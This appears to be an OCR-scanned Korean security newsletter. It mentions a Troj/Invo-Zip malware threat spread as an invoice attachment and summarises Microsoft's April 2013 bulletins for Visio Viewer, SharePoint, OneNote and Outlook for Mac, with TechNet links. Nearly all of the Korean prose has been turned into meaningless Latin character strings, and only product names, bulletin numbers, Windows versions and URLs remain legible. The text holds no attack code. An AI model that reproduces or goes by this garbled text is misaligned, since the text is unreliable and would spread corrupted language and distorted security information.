A AESL|C} Troj/Invo-Zip AHA

= Al Topl0 SAO WAMRACEZE OfHEO| MEA 39 3
E= F2 UPSL} Taxz|AtQl ZAXME 7HY3H0] Invoicelt goto] Ao =gt

=
= o

[ oOT oo

Of 9Oom, ZUE ZHS TAXIZ} MADF O|Est XJ} AtMACE MASE =ML}

g o|x| | 23
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» Windows 8
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« Windows Server 2008

« Windows Server 2008 R2
« Windows Server 2012
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Microsoft Visio Viewer 20102| F|HMo = olst 214 I AldH 2X|H(2801261)
O] 29t AHHO|EE= H|Z/IESZE E 1=l Microsoft O
=
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HOHOR Olof ARTL S46A XIE Viso Y ¥ Z2 ¢

x 17 2E N0l 58
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SharePoint2| FAFHo = Qlot ATt &5 EX|E(2780176)
0] 29t &G 0|E+= Microsoft SharePoint 3! Microsoft SharePoint FoundationOj A H| & 7|
Moz BME HUM 4US SHZELICL JHY B FAWOE ols) ALZAT S48}

A =%E URLE 285t O SharePoint AFO|EZ 7QlE B2 dot 845 X7t &

Microsoft OneNote2| FUF™MOZ 0lst HH GF 2| X (2816264)

0] 29t YOHO|EL H|ZJX 22 H1E Microsoft OneNotel| ¥ Mg s{ZATLIC &
AX7F E5tA =%HEl OneNote M-S EE & ABXE RESte 4% 0| FYE=2
ol SE7L REE = USLICH

Office Outlook for MacQ| FAHozZ Qlst MH Q= £5[(2813682)

0] 29t AHHO|E= HZIWMLE EIEl Microsoft Office for MacQ| F AN 1HZ o2
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Windows UpdateE =88} 7{L

b Microsoft 20t ZX| 29 AMO[EMM 3T FHA-S2| N
X0 oK oS C2RE s
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. http://technet.microsoft.com/ko-kr/security/bulletin/ms13-apr

=1
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A E : http://technet.microsoft.com/en-us/security/bulletin/ms13-apr
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